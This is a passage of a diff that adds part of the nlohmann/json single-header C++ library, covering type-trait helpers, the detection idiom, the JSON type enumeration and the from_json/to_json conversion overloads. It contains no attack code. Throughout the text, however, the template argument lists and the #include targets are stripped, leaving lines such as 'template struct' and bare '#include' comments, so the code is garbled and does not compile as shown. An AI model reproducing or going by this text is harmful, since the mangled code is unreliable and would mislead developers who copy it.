using reference = typename It::reference; + using iterator_category = typename It::iterator_category; +}; + +// This is required as some compilers implement std::iterator_traits in a way that +// doesn't work with SFINAE. See https://github.com/nlohmann/json/issues/1341. +template +struct iterator_traits +{ +}; + +template +struct iterator_traits < T, enable_if_t < !std::is_pointer::value >> + : iterator_types +{ +}; + +template +struct iterator_traits::value>> +{ + using iterator_category = std::random_access_iterator_tag; + using value_type = T; + using difference_type = ptrdiff_t; + using pointer = T*; + using reference = T&; +}; +} // namespace detail +} // namespace nlohmann + +// #include + +// #include + +// #include + + +#include + +// #include + + +// https://en.cppreference.com/w/cpp/experimental/is_detected +namespace nlohmann +{ +namespace detail +{ +struct nonesuch +{ + nonesuch() = delete; + ~nonesuch() = delete; + nonesuch(nonesuch const&) = delete; + nonesuch(nonesuch const&&) = delete; + void operator=(nonesuch const&) = delete; + void operator=(nonesuch&&) = delete; +}; + +template class Op, + class... Args> +struct detector +{ + using value_t = std::false_type; + using type = Default; +}; + +template class Op, class... Args> +struct detector>, Op, Args...> +{ + using value_t = std::true_type; + using type = Op; +}; + +template class Op, class... Args> +using is_detected = typename detector::value_t; + +template class Op, class... Args> +using detected_t = typename detector::type; + +template class Op, class... Args> +using detected_or = detector; + +template class Op, class... Args> +using detected_or_t = typename detected_or::type; + +template class Op, class... Args> +using is_detected_exact = std::is_same>; + +template class Op, class... Args> +using is_detected_convertible = + std::is_convertible, To>; +} // namespace detail +} // namespace nlohmann + +// #include +#ifndef INCLUDE_NLOHMANN_JSON_FWD_HPP_ +#define INCLUDE_NLOHMANN_JSON_FWD_HPP_ + +#include // int64_t, uint64_t +#include // map +#include // allocator +#include // string +#include // vector + +/*! +@brief namespace for Niels Lohmann +@see https://github.com/nlohmann +@since version 1.0.0 +*/ +namespace nlohmann +{ +/*! +@brief default JSONSerializer template argument + +This serializer ignores the template arguments and uses ADL +([argument-dependent lookup](https://en.cppreference.com/w/cpp/language/adl)) +for serialization. +*/ +template +struct adl_serializer; + +template class ObjectType = + std::map, + template class ArrayType = std::vector, + class StringType = std::string, class BooleanType = bool, + class NumberIntegerType = std::int64_t, + class NumberUnsignedType = std::uint64_t, + class NumberFloatType = double, + template class AllocatorType = std::allocator, + template class JSONSerializer = + adl_serializer, + class BinaryType = std::vector> +class basic_json; + +/*! +@brief JSON Pointer + +A JSON pointer defines a string syntax for identifying a specific value +within a JSON document. It can be used with functions `at` and +`operator[]`. Furthermore, JSON pointers are the base for JSON patches. + +@sa [RFC 6901](https://tools.ietf.org/html/rfc6901) + +@since version 2.0.0 +*/ +template +class json_pointer; + +/*! +@brief default JSON class + +This type is the default specialization of the @ref basic_json class which +uses the standard template types. + +@since version 1.0.0 +*/ +using json = basic_json<>; + +template +struct ordered_map; + +/*! +@brief ordered JSON class + +This type preserves the insertion order of object keys. + +@since version 3.9.0 +*/ +using ordered_json = basic_json; + +} // namespace nlohmann + +#endif // INCLUDE_NLOHMANN_JSON_FWD_HPP_ + + +namespace nlohmann +{ +/*! +@brief detail namespace with internal helper functions + +This namespace collects functions that should not be exposed, +implementations of some @ref basic_json methods, and meta-programming helpers. + +@since version 2.1.0 +*/ +namespace detail +{ +///////////// +// helpers // +///////////// + +// Note to maintainers: +// +// Every trait in this file expects a non CV-qualified type. +// The only exceptions are in the 'aliases for detected' section +// (i.e. those of the form: decltype(T::member_function(std::declval()))) +// +// In this case, T has to be properly CV-qualified to constraint the function arguments +// (e.g. to_json(BasicJsonType&, const T&)) + +template struct is_basic_json : std::false_type {}; + +NLOHMANN_BASIC_JSON_TPL_DECLARATION +struct is_basic_json : std::true_type {}; + +////////////////////// +// json_ref helpers // +////////////////////// + +template +class json_ref; + +template +struct is_json_ref : std::false_type {}; + +template +struct is_json_ref> : std::true_type {}; + +////////////////////////// +// aliases for detected // +////////////////////////// + +template +using mapped_type_t = typename T::mapped_type; + +template +using key_type_t = typename T::key_type; + +template +using value_type_t = typename T::value_type; + +template +using difference_type_t = typename T::difference_type; + +template +using pointer_t = typename T::pointer; + +template +using reference_t = typename T::reference; + +template +using iterator_category_t = typename T::iterator_category; + +template +using iterator_t = typename T::iterator; + +template +using to_json_function = decltype(T::to_json(std::declval()...)); + +template +using from_json_function = decltype(T::from_json(std::declval()...)); + +template +using get_template_function = decltype(std::declval().template get()); + +// trait checking if JSONSerializer::from_json(json const&, udt&) exists +template +struct has_from_json : std::false_type {}; + +// trait checking if j.get is valid +// use this trait instead of std::is_constructible or std::is_convertible, +// both rely on, or make use of implicit conversions, and thus fail when T +// has several constructors/operator= (see https://github.com/nlohmann/json/issues/958) +template +struct is_getable +{ + static constexpr bool value = is_detected::value; +}; + +template +struct has_from_json < BasicJsonType, T, + enable_if_t < !is_basic_json::value >> +{ + using serializer = typename BasicJsonType::template json_serializer; + + static constexpr bool value = + is_detected_exact::value; +}; + +// This trait checks if JSONSerializer::from_json(json const&) exists +// this overload is used for non-default-constructible user-defined-types +template +struct has_non_default_from_json : std::false_type {}; + +template +struct has_non_default_from_json < BasicJsonType, T, enable_if_t < !is_basic_json::value >> +{ + using serializer = typename BasicJsonType::template json_serializer; + + static constexpr bool value = + is_detected_exact::value; +}; + +// This trait checks if BasicJsonType::json_serializer::to_json exists +// Do not evaluate the trait when T is a basic_json type, to avoid template instantiation infinite recursion. +template +struct has_to_json : std::false_type {}; + +template +struct has_to_json < BasicJsonType, T, enable_if_t < !is_basic_json::value >> +{ + using serializer = typename BasicJsonType::template json_serializer; + + static constexpr bool value = + is_detected_exact::value; +}; + + +/////////////////// +// is_ functions // +/////////////////// + +template +struct is_iterator_traits : std::false_type {}; + +template +struct is_iterator_traits> +{ + private: + using traits = iterator_traits; + + public: + static constexpr auto value = + is_detected::value && + is_detected::value && + is_detected::value && + is_detected::value && + is_detected::value; +}; + +// source: https://stackoverflow.com/a/37193089/4116453 + +template +struct is_complete_type : std::false_type {}; + +template +struct is_complete_type : std::true_type {}; + +template +struct is_compatible_object_type_impl : std::false_type {}; + +template +struct is_compatible_object_type_impl < + BasicJsonType, CompatibleObjectType, + enable_if_t < is_detected::value&& + is_detected::value >> +{ + + using object_t = typename BasicJsonType::object_t; + + // macOS's is_constructible does not play well with nonesuch... + static constexpr bool value = + std::is_constructible::value && + std::is_constructible::value; +}; + +template +struct is_compatible_object_type + : is_compatible_object_type_impl {}; + +template +struct is_constructible_object_type_impl : std::false_type {}; + +template +struct is_constructible_object_type_impl < + BasicJsonType, ConstructibleObjectType, + enable_if_t < is_detected::value&& + is_detected::value >> +{ + using object_t = typename BasicJsonType::object_t; + + static constexpr bool value = + (std::is_default_constructible::value && + (std::is_move_assignable::value || + std::is_copy_assignable::value) && + (std::is_constructible::value && + std::is_same < + typename object_t::mapped_type, + typename ConstructibleObjectType::mapped_type >::value)) || + (has_from_json::value || + has_non_default_from_json < + BasicJsonType, + typename ConstructibleObjectType::mapped_type >::value); +}; + +template +struct is_constructible_object_type + : is_constructible_object_type_impl {}; + +template +struct is_compatible_string_type_impl : std::false_type {}; + +template +struct is_compatible_string_type_impl < + BasicJsonType, CompatibleStringType, + enable_if_t::value >> +{ + static constexpr auto value = + std::is_constructible::value; +}; + +template +struct is_compatible_string_type + : is_compatible_string_type_impl {}; + +template +struct is_constructible_string_type_impl : std::false_type {}; + +template +struct is_constructible_string_type_impl < + BasicJsonType, ConstructibleStringType, + enable_if_t::value >> +{ + static constexpr auto value = + std::is_constructible::value; +}; + +template +struct is_constructible_string_type + : is_constructible_string_type_impl {}; + +template +struct is_compatible_array_type_impl : std::false_type {}; + +template +struct is_compatible_array_type_impl < + BasicJsonType, CompatibleArrayType, + enable_if_t < is_detected::value&& + is_detected::value&& +// This is needed because json_reverse_iterator has a ::iterator type... +// Therefore it is detected as a CompatibleArrayType. +// The real fix would be to have an Iterable concept. + !is_iterator_traits < + iterator_traits>::value >> +{ + static constexpr bool value = + std::is_constructible::value; +}; + +template +struct is_compatible_array_type + : is_compatible_array_type_impl {}; + +template +struct is_constructible_array_type_impl : std::false_type {}; + +template +struct is_constructible_array_type_impl < + BasicJsonType, ConstructibleArrayType, + enable_if_t::value >> + : std::true_type {}; + +template +struct is_constructible_array_type_impl < + BasicJsonType, ConstructibleArrayType, + enable_if_t < !std::is_same::value&& + std::is_default_constructible::value&& +(std::is_move_assignable::value || + std::is_copy_assignable::value)&& +is_detected::value&& +is_detected::value&& +is_complete_type < +detected_t>::value >> +{ + static constexpr bool value = + // This is needed because json_reverse_iterator has a ::iterator type, + // furthermore, std::back_insert_iterator (and other iterators) have a + // base class `iterator`... Therefore it is detected as a + // ConstructibleArrayType. The real fix would be to have an Iterable + // concept. + !is_iterator_traits>::value && + + (std::is_same::value || + has_from_json::value || + has_non_default_from_json < + BasicJsonType, typename ConstructibleArrayType::value_type >::value); +}; + +template +struct is_constructible_array_type + : is_constructible_array_type_impl {}; + +template +struct is_compatible_integer_type_impl : std::false_type {}; + +template +struct is_compatible_integer_type_impl < + RealIntegerType, CompatibleNumberIntegerType, + enable_if_t < std::is_integral::value&& + std::is_integral::value&& + !std::is_same::value >> +{ + // is there an assert somewhere on overflows? + using RealLimits = std::numeric_limits; + using CompatibleLimits = std::numeric_limits; + + static constexpr auto value = + std::is_constructible::value && + CompatibleLimits::is_integer && + RealLimits::is_signed == CompatibleLimits::is_signed; +}; + +template +struct is_compatible_integer_type + : is_compatible_integer_type_impl {}; + +template +struct is_compatible_type_impl: std::false_type {}; + +template +struct is_compatible_type_impl < + BasicJsonType, CompatibleType, + enable_if_t::value >> +{ + static constexpr bool value = + has_to_json::value; +}; + +template +struct is_compatible_type + : is_compatible_type_impl {}; + +// https://en.cppreference.com/w/cpp/types/conjunction +template struct conjunction : std::true_type { }; +template struct conjunction : B1 { }; +template +struct conjunction +: std::conditional, B1>::type {}; + +template +struct is_constructible_tuple : std::false_type {}; + +template +struct is_constructible_tuple> : conjunction...> {}; +} // namespace detail +} // namespace nlohmann + +// #include + + +#include // array +#include // size_t +#include // uint8_t +#include // string + +namespace nlohmann +{ +namespace detail +{ +/////////////////////////// +// JSON type enumeration // +/////////////////////////// + +/*! +@brief the JSON type enumeration + +This enumeration collects the different JSON types. It is internally used to +distinguish the stored values, and the functions @ref basic_json::is_null(), +@ref basic_json::is_object(), @ref basic_json::is_array(), +@ref basic_json::is_string(), @ref basic_json::is_boolean(), +@ref basic_json::is_number() (with @ref basic_json::is_number_integer(), +@ref basic_json::is_number_unsigned(), and @ref basic_json::is_number_float()), +@ref basic_json::is_discarded(), @ref basic_json::is_primitive(), and +@ref basic_json::is_structured() rely on it. + +@note There are three enumeration entries (number_integer, number_unsigned, and +number_float), because the library distinguishes these three types for numbers: +@ref basic_json::number_unsigned_t is used for unsigned integers, +@ref basic_json::number_integer_t is used for signed integers, and +@ref basic_json::number_float_t is used for floating-point numbers or to +approximate integers which do not fit in the limits of their respective type. + +@sa @ref basic_json::basic_json(const value_t value_type) -- create a JSON +value with the default value for a given type + +@since version 1.0.0 +*/ +enum class value_t : std::uint8_t +{ + null, ///< null value + object, ///< object (unordered set of name/value pairs) + array, ///< array (ordered collection of values) + string, ///< string value + boolean, ///< boolean value + number_integer, ///< number value (signed integer) + number_unsigned, ///< number value (unsigned integer) + number_float, ///< number value (floating-point) + binary, ///< binary array (ordered collection of bytes) + discarded ///< discarded by the parser callback function +}; + +/*! +@brief comparison operator for JSON types + +Returns an ordering that is similar to Python: +- order: null < boolean < number < object < array < string < binary +- furthermore, each type is not smaller than itself +- discarded values are not comparable +- binary is represented as a b"" string in python and directly comparable to a + string; however, making a binary array directly comparable with a string would + be surprising behavior in a JSON file. + +@since version 1.0.0 +*/ +inline bool operator<(const value_t lhs, const value_t rhs) noexcept +{ + static constexpr std::array order = {{ + 0 /* null */, 3 /* object */, 4 /* array */, 5 /* string */, + 1 /* boolean */, 2 /* integer */, 2 /* unsigned */, 2 /* float */, + 6 /* binary */ + } + }; + + const auto l_index = static_cast(lhs); + const auto r_index = static_cast(rhs); + return l_index < order.size() && r_index < order.size() && order[l_index] < order[r_index]; +} +} // namespace detail +} // namespace nlohmann + + +namespace nlohmann +{ +namespace detail +{ +template +void from_json(const BasicJsonType& j, typename std::nullptr_t& n) +{ + if (JSON_HEDLEY_UNLIKELY(!j.is_null())) + { + JSON_THROW(type_error::create(302, "type must be null, but is " + std::string(j.type_name()))); + } + n = nullptr; +} + +// overloads for basic_json template parameters +template < typename BasicJsonType, typename ArithmeticType, + enable_if_t < std::is_arithmetic::value&& + !std::is_same::value, + int > = 0 > +void get_arithmetic_value(const BasicJsonType& j, ArithmeticType& val) +{ + switch (static_cast(j)) + { + case value_t::number_unsigned: + { + val = static_cast(*j.template get_ptr()); + break; + } + case value_t::number_integer: + { + val = static_cast(*j.template get_ptr()); + break; + } + case value_t::number_float: + { + val = static_cast(*j.template get_ptr()); + break; + } + + default: + JSON_THROW(type_error::create(302, "type must be number, but is " + std::string(j.type_name()))); + } +} + +template +void from_json(const BasicJsonType& j, typename BasicJsonType::boolean_t& b) +{ + if (JSON_HEDLEY_UNLIKELY(!j.is_boolean())) + { + JSON_THROW(type_error::create(302, "type must be boolean, but is " + std::string(j.type_name()))); + } + b = *j.template get_ptr(); +} + +template +void from_json(const BasicJsonType& j, typename BasicJsonType::string_t& s) +{ + if (JSON_HEDLEY_UNLIKELY(!j.is_string())) + { + JSON_THROW(type_error::create(302, "type must be string, but is " + std::string(j.type_name()))); + } + s = *j.template get_ptr(); +} + +template < + typename BasicJsonType, typename ConstructibleStringType, + enable_if_t < + is_constructible_string_type::value&& + !std::is_same::value, + int > = 0 > +void from_json(const BasicJsonType& j, ConstructibleStringType& s) +{ + if (JSON_HEDLEY_UNLIKELY(!j.is_string())) + { + JSON_THROW(type_error::create(302, "type must be string, but is " + std::string(j.type_name()))); + } + + s = *j.template get_ptr(); +} + +template +void from_json(const BasicJsonType& j, typename BasicJsonType::number_float_t& val) +{ + get_arithmetic_value(j, val); +} + +template +void from_json(const BasicJsonType& j, typename BasicJsonType::number_unsigned_t& val) +{ + get_arithmetic_value(j, val); +} + +template +void from_json(const BasicJsonType& j, typename BasicJsonType::number_integer_t& val) +{ + get_arithmetic_value(j, val); +} + +template::value, int> = 0> +void from_json(const BasicJsonType& j, EnumType& e) +{ + typename std::underlying_type::type val; + get_arithmetic_value(j, val); + e = static_cast(val); +} + +// forward_list doesn't have an insert method +template::value, int> = 0> +void from_json(const BasicJsonType& j, std::forward_list& l) +{ + if (JSON_HEDLEY_UNLIKELY(!j.is_array())) + { + JSON_THROW(type_error::create(302, "type must be array, but is " + std::string(j.type_name()))); + } + l.clear(); + std::transform(j.rbegin(), j.rend(), + std::front_inserter(l), [](const BasicJsonType & i) + { + return i.template get(); + }); +} + +// valarray doesn't have an insert method +template::value, int> = 0> +void from_json(const BasicJsonType& j, std::valarray& l) +{ + if (JSON_HEDLEY_UNLIKELY(!j.is_array())) + { + JSON_THROW(type_error::create(302, "type must be array, but is " + std::string(j.type_name()))); + } + l.resize(j.size()); + std::transform(j.begin(), j.end(), std::begin(l), + [](const BasicJsonType & elem) + { + return elem.template get(); + }); +} + +template +auto from_json(const BasicJsonType& j, T (&arr)[N]) +-> decltype(j.template get(), void()) +{ + for (std::size_t i = 0; i < N; ++i) + { + arr[i] = j.at(i).template get(); + } +} + +template +void from_json_array_impl(const BasicJsonType& j, typename BasicJsonType::array_t& arr, priority_tag<3> /*unused*/) +{ + arr = *j.template get_ptr(); +} + +template +auto from_json_array_impl(const BasicJsonType& j, std::array& arr, + priority_tag<2> /*unused*/) +-> decltype(j.template get(), void()) +{ + for (std::size_t i = 0; i < N; ++i) + { + arr[i] = j.at(i).template get(); + } +} + +template +auto from_json_array_impl(const BasicJsonType& j, ConstructibleArrayType& arr, priority_tag<1> /*unused*/) +-> decltype( + arr.reserve(std::declval()), + j.template get(), + void()) +{ + using std::end; + + ConstructibleArrayType ret; + ret.reserve(j.size()); + std::transform(j.begin(), j.end(), + std::inserter(ret, end(ret)), [](const BasicJsonType & i) + { + // get() returns *this, this won't call a from_json + // method when value_type is BasicJsonType + return i.template get(); + }); + arr = std::move(ret); +} + +template +void from_json_array_impl(const BasicJsonType& j, ConstructibleArrayType& arr, + priority_tag<0> /*unused*/) +{ + using std::end; + + ConstructibleArrayType ret; + std::transform( + j.begin(), j.end(), std::inserter(ret, end(ret)), + [](const BasicJsonType & i) + { + // get() returns *this, this won't call a from_json + // method when value_type is BasicJsonType + return i.template get(); + }); + arr = std::move(ret); +} + +template < typename BasicJsonType, typename ConstructibleArrayType, + enable_if_t < + is_constructible_array_type::value&& + !is_constructible_object_type::value&& + !is_constructible_string_type::value&& + !std::is_same::value&& + !is_basic_json::value, + int > = 0 > +auto from_json(const BasicJsonType& j, ConstructibleArrayType& arr) +-> decltype(from_json_array_impl(j, arr, priority_tag<3> {}), +j.template get(), +void()) +{ + if (JSON_HEDLEY_UNLIKELY(!j.is_array())) + { + JSON_THROW(type_error::create(302, "type must be array, but is " + + std::string(j.type_name()))); + } + + from_json_array_impl(j, arr, priority_tag<3> {}); +} + +template +void from_json(const BasicJsonType& j, typename BasicJsonType::binary_t& bin) +{ + if (JSON_HEDLEY_UNLIKELY(!j.is_binary())) + { + JSON_THROW(type_error::create(302, "type must be binary, but is " + std::string(j.type_name()))); + } + + bin = *j.template get_ptr(); +} + +template::value, int> = 0> +void from_json(const BasicJsonType& j, ConstructibleObjectType& obj) +{ + if (JSON_HEDLEY_UNLIKELY(!j.is_object())) + { + JSON_THROW(type_error::create(302, "type must be object, but is " + std::string(j.type_name()))); + } + + ConstructibleObjectType ret; + auto inner_object = j.template get_ptr(); + using value_type = typename ConstructibleObjectType::value_type; + std::transform( + inner_object->begin(), inner_object->end(), + std::inserter(ret, ret.begin()), + [](typename BasicJsonType::object_t::value_type const & p) + { + return value_type(p.first, p.second.template get()); + }); + obj = std::move(ret); +} + +// overload for arithmetic types, not chosen for basic_json template arguments +// (BooleanType, etc..); note: Is it really necessary to provide explicit +// overloads for boolean_t etc. in case of a custom BooleanType which is not +// an arithmetic type? +template < typename BasicJsonType, typename ArithmeticType, + enable_if_t < + std::is_arithmetic::value&& + !std::is_same::value&& + !std::is_same::value&& + !std::is_same::value&& + !std::is_same::value, + int > = 0 > +void from_json(const BasicJsonType& j, ArithmeticType& val) +{ + switch (static_cast(j)) + { + case value_t::number_unsigned: + { + val = static_cast(*j.template get_ptr()); + break; + } + case value_t::number_integer: + { + val = static_cast(*j.template get_ptr()); + break; + } + case value_t::number_float: + { + val = static_cast(*j.template get_ptr()); + break; + } + case value_t::boolean: + { + val = static_cast(*j.template get_ptr()); + break; + } + + default: + JSON_THROW(type_error::create(302, "type must be number, but is " + std::string(j.type_name()))); + } +} + +template +void from_json(const BasicJsonType& j, std::pair& p) +{ + p = {j.at(0).template get(), j.at(1).template get()}; +} + +template +void from_json_tuple_impl(const BasicJsonType& j, Tuple& t, index_sequence /*unused*/) +{ + t = std::make_tuple(j.at(Idx).template get::type>()...); +} + +template +void from_json(const BasicJsonType& j, std::tuple& t) +{ + from_json_tuple_impl(j, t, index_sequence_for {}); +} + +template < typename BasicJsonType, typename Key, typename Value, typename Compare, typename Allocator, + typename = enable_if_t < !std::is_constructible < + typename BasicJsonType::string_t, Key >::value >> +void from_json(const BasicJsonType& j, std::map& m) +{ + if (JSON_HEDLEY_UNLIKELY(!j.is_array())) + { + JSON_THROW(type_error::create(302, "type must be array, but is " + std::string(j.type_name()))); + } + m.clear(); + for (const auto& p : j) + { + if (JSON_HEDLEY_UNLIKELY(!p.is_array())) + { + JSON_THROW(type_error::create(302, "type must be array, but is " + std::string(p.type_name()))); + } + m.emplace(p.at(0).template get(), p.at(1).template get()); + } +} + +template < typename BasicJsonType, typename Key, typename Value, typename Hash, typename KeyEqual, typename Allocator, + typename = enable_if_t < !std::is_constructible < + typename BasicJsonType::string_t, Key >::value >> +void from_json(const BasicJsonType& j, std::unordered_map& m) +{ + if (JSON_HEDLEY_UNLIKELY(!j.is_array())) + { + JSON_THROW(type_error::create(302, "type must be array, but is " + std::string(j.type_name()))); + } + m.clear(); + for (const auto& p : j) + { + if (JSON_HEDLEY_UNLIKELY(!p.is_array())) + { + JSON_THROW(type_error::create(302, "type must be array, but is " + std::string(p.type_name()))); + } + m.emplace(p.at(0).template get(), p.at(1).template get()); + } +} + +struct from_json_fn +{ + template + auto operator()(const BasicJsonType& j, T& val) const + noexcept(noexcept(from_json(j, val))) + -> decltype(from_json(j, val), void()) + { + return from_json(j, val); + } +}; +} // namespace detail + +/// namespace to hold default `from_json` function +/// to see why this is required: +/// http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2015/n4381.html +namespace +{ +constexpr const auto& from_json = detail::static_const::value; +} // namespace +} // namespace nlohmann + +// #include + + +#include // copy +#include // begin, end +#include // string +#include // tuple, get +#include // is_same, is_constructible, is_floating_point, is_enum, underlying_type +#include // move, forward, declval, pair +#include // valarray +#include // vector + +// #include + + +#include // size_t +#include // input_iterator_tag +#include // string, to_string +#include // tuple_size, get, tuple_element + +// #include + +// #include + + +namespace nlohmann +{ +namespace detail +{ +template +void int_to_string( string_type& target, std::size_t value ) +{ + // For ADL + using std::to_string; + target = to_string(value); +} +template class iteration_proxy_value +{ + public: + using difference_type = std::ptrdiff_t; + using value_type = iteration_proxy_value; + using pointer = value_type * ; + using reference = value_type & ; + using iterator_category = std::input_iterator_tag; + using string_type = typename std::remove_cv< typename std::remove_reference().key() ) >::type >::type; + + private: + /// the iterator + IteratorType anchor; + /// an index for arrays (used to create key names) + std::size_t array_index = 0; + /// last stringified array index + mutable std::size_t array_index_last = 0; + /// a string representation of the array index + mutable string_type array_index_str = "0"; + /// an empty string (to return a reference for primitive values) + const string_type empty_str = ""; + + public: + explicit iteration_proxy_value(IteratorType it) noexcept : anchor(it) {} + + /// dereference operator (needed for range-based for) + iteration_proxy_value& operator*() + { + return *this; + } + + /// increment operator (needed for range-based for) + iteration_proxy_value& operator++() + { + ++anchor; + ++array_index; + + return *this; + } + + /// equality operator (needed for InputIterator) + bool operator==(const iteration_proxy_value& o) const + { + return anchor == o.anchor; + } + + /// inequality operator (needed for range-based for) + bool operator!=(const iteration_proxy_value& o) const + { + return anchor != o.anchor; + } + + /// return key of the iterator + const string_type& key() const + { + JSON_ASSERT(anchor.m_object != nullptr); + + switch (anchor.m_object->type()) + { + // use integer array index as key + case value_t::array: + { + if (array_index != array_index_last) + { + int_to_string( array_index_str, array_index ); + array_index_last = array_index; + } + return array_index_str; + } + + // use key from the object + case value_t::object: + return anchor.key(); + + // use an empty key for all primitive types + default: + return empty_str; + } + } + + /// return value of the iterator + typename IteratorType::reference value() const + { + return anchor.value(); + } +}; + +/// proxy class for the items() function +template class iteration_proxy +{ + private: + /// the container to iterate + typename IteratorType::reference container; + + public: + /// construct iteration proxy from a container + explicit iteration_proxy(typename IteratorType::reference cont) noexcept + : container(cont) {} + + /// return iterator begin (needed for range-based for) + iteration_proxy_value begin() noexcept + { + return iteration_proxy_value(container.begin()); + } + + /// return iterator end (needed for range-based for) + iteration_proxy_value end() noexcept + { + return iteration_proxy_value(container.end()); + } +}; +// Structured Bindings Support +// For further reference see https://blog.tartanllama.xyz/structured-bindings/ +// And see https://github.com/nlohmann/json/pull/1391 +template = 0> +auto get(const nlohmann::detail::iteration_proxy_value& i) -> decltype(i.key()) +{ + return i.key(); +} +// Structured Bindings Support +// For further reference see https://blog.tartanllama.xyz/structured-bindings/ +// And see https://github.com/nlohmann/json/pull/1391 +template = 0> +auto get(const nlohmann::detail::iteration_proxy_value& i) -> decltype(i.value()) +{ + return i.value(); +} +} // namespace detail +} // namespace nlohmann + +// The Addition to the STD Namespace is required to add +// Structured Bindings Support to the iteration_proxy_value class +// For further reference see https://blog.tartanllama.xyz/structured-bindings/ +// And see https://github.com/nlohmann/json/pull/1391 +namespace std +{ +#if defined(__clang__) + // Fix: https://github.com/nlohmann/json/issues/1401 + #pragma clang diagnostic push + #pragma clang diagnostic ignored "-Wmismatched-tags" +#endif +template +class tuple_size<::nlohmann::detail::iteration_proxy_value> + : public std::integral_constant {}; + +template +class tuple_element> +{ + public: + using type = decltype( + get(std::declval < + ::nlohmann::detail::iteration_proxy_value> ())); +}; +#if defined(__clang__) + #pragma clang diagnostic pop +#endif +} // namespace std + +// #include + +// #include + +// #include + + +namespace nlohmann +{ +namespace detail +{ +////////////////// +// constructors // +////////////////// + +template struct external_constructor; + +template<> +struct external_constructor +{ + template + static void construct(BasicJsonType& j, typename BasicJsonType::boolean_t b) noexcept + { + j.m_type = value_t::boolean; + j.m_value = b; + j.assert_invariant(); + } +}; + +template<> +struct external_constructor +{ + template + static void construct(BasicJsonType& j, const typename BasicJsonType::string_t& s) + { + j.m_type = value_t::string; + j.m_value = s; + j.assert_invariant(); + } + + template + static void construct(BasicJsonType& j, typename BasicJsonType::string_t&& s) + { + j.m_type = value_t::string; + j.m_value = std::move(s); + j.assert_invariant(); + } + + template < typename BasicJsonType, typename CompatibleStringType, + enable_if_t < !std::is_same::value, + int > = 0 > + static void construct(BasicJsonType& j, const CompatibleStringType& str) + { + j.m_type = value_t::string; + j.m_value.string = j.template create(str); + j.assert_invariant(); + } +}; + +template<> +struct external_constructor +{ + template + static void construct(BasicJsonType& j, const typename BasicJsonType::binary_t& b) + { + j.m_type = value_t::binary; + typename BasicJsonType::binary_t value{b}; + j.m_value = value; + j.assert_invariant(); + } + + template + static void construct(BasicJsonType& j, typename BasicJsonType::binary_t&& b) + { + j.m_type = value_t::binary; + typename BasicJsonType::binary_t value{std::move(b)}; + j.m_value = value; + j.assert_invariant(); + } +}; + +template<> +struct external_constructor +{ + template + static void construct(BasicJsonType& j, typename BasicJsonType::number_float_t val) noexcept + { + j.m_type = value_t::number_float; + j.m_value = val; + j.assert_invariant(); + } +}; + +template<> +struct external_constructor +{ + template + static void construct(BasicJsonType& j, typename BasicJsonType::number_unsigned_t val) noexcept + { + j.m_type = value_t::number_unsigned; + j.m_value = val; + j.assert_invariant(); + } +}; + +template<> +struct external_constructor +{ + template + static void construct(BasicJsonType& j, typename BasicJsonType::number_integer_t val) noexcept + { + j.m_type = value_t::number_integer; + j.m_value = val; + j.assert_invariant(); + } +}; + +template<> +struct external_constructor +{ + template + static void construct(BasicJsonType& j, const typename BasicJsonType::array_t& arr) + { + j.m_type = value_t::array; + j.m_value = arr; + j.assert_invariant(); + } + + template + static void construct(BasicJsonType& j, typename BasicJsonType::array_t&& arr) + { + j.m_type = value_t::array; + j.m_value = std::move(arr); + j.assert_invariant(); + } + + template < typename BasicJsonType, typename CompatibleArrayType, + enable_if_t < !std::is_same::value, + int > = 0 > + static void construct(BasicJsonType& j, const CompatibleArrayType& arr) + { + using std::begin; + using std::end; + j.m_type = value_t::array; + j.m_value.array = j.template create(begin(arr), end(arr)); + j.assert_invariant(); + } + + template + static void construct(BasicJsonType& j, const std::vector& arr) + { + j.m_type = value_t::array; + j.m_value = value_t::array; + j.m_value.array->reserve(arr.size()); + for (const bool x : arr) + { + j.m_value.array->push_back(x); + } + j.assert_invariant(); + } + + template::value, int> = 0> + static void construct(BasicJsonType& j, const std::valarray& arr) + { + j.m_type = value_t::array; + j.m_value = value_t::array; + j.m_value.array->resize(arr.size()); + if (arr.size() > 0) + { + std::copy(std::begin(arr), std::end(arr), j.m_value.array->begin()); + } + j.assert_invariant(); + } +}; + +template<> +struct external_constructor +{ + template + static void construct(BasicJsonType& j, const typename BasicJsonType::object_t& obj) + { + j.m_type = value_t::object; + j.m_value = obj; + j.assert_invariant(); + } + + template + static void construct(BasicJsonType& j, typename BasicJsonType::object_t&& obj) + { + j.m_type = value_t::object; + j.m_value = std::move(obj); + j.assert_invariant(); + } + + template < typename BasicJsonType, typename CompatibleObjectType, + enable_if_t < !std::is_same::value, int > = 0 > + static void construct(BasicJsonType& j, const CompatibleObjectType& obj) + { + using std::begin; + using std::end; + + j.m_type = value_t::object; + j.m_value.object = j.template create(begin(obj), end(obj)); + j.assert_invariant(); + } +}; + +///////////// +// to_json // +///////////// + +template::value, int> = 0> +void to_json(BasicJsonType& j, T b) noexcept +{ + external_constructor::construct(j, b); +} + +template::value, int> = 0> +void to_json(BasicJsonType& j, const CompatibleString& s) +{ + external_constructor::construct(j, s); +} + +template +void to_json(BasicJsonType& j, typename BasicJsonType::string_t&& s) +{ + external_constructor::construct(j, std::move(s)); +} + +template::value, int> = 0> +void to_json(BasicJsonType& j, FloatType val) noexcept +{ + external_constructor::construct(j, static_cast(val)); +} + +template::value, int> = 0> +void to_json(BasicJsonType& j, CompatibleNumberUnsignedType val) noexcept +{ + external_constructor::construct(j, static_cast(val)); +} + +template::value, int> = 0> +void to_json(BasicJsonType& j, CompatibleNumberIntegerType val) noexcept +{ + external_constructor::construct(j, static_cast(val)); +} + +template::value, int> = 0> +void to_json(BasicJsonType& j, EnumType e) noexcept +{ + using underlying_type = typename std::underlying_type::type; + external_constructor::construct(j, static_cast(e)); +} + +template +void to_json(BasicJsonType& j, const std::vector& e) +{ + external_constructor::construct(j, e); +} + +template < typename BasicJsonType, typename CompatibleArrayType, + enable_if_t < is_compatible_array_type::value&& + !is_compatible_object_type::value&& + !is_compatible_string_type::value&& + !std::is_same::value&& + !is_basic_json::value, + int > = 0 > +void to_json(BasicJsonType& j, const CompatibleArrayType& arr) +{ + external_constructor::construct(j, arr); +} + +template +void to_json(BasicJsonType& j, const typename BasicJsonType::binary_t& bin) +{ + external_constructor::construct(j, bin); +} + +template::value, int> = 0> +void to_json(BasicJsonType& j, const std::valarray& arr) +{ + external_constructor::construct(j, std::move(arr)); +} + +template +void to_json(BasicJsonType& j, typename BasicJsonType::array_t&& arr) +{ + external_constructor::construct(j, std::move(arr)); +} + +template < typename BasicJsonType, typename CompatibleObjectType, + enable_if_t < 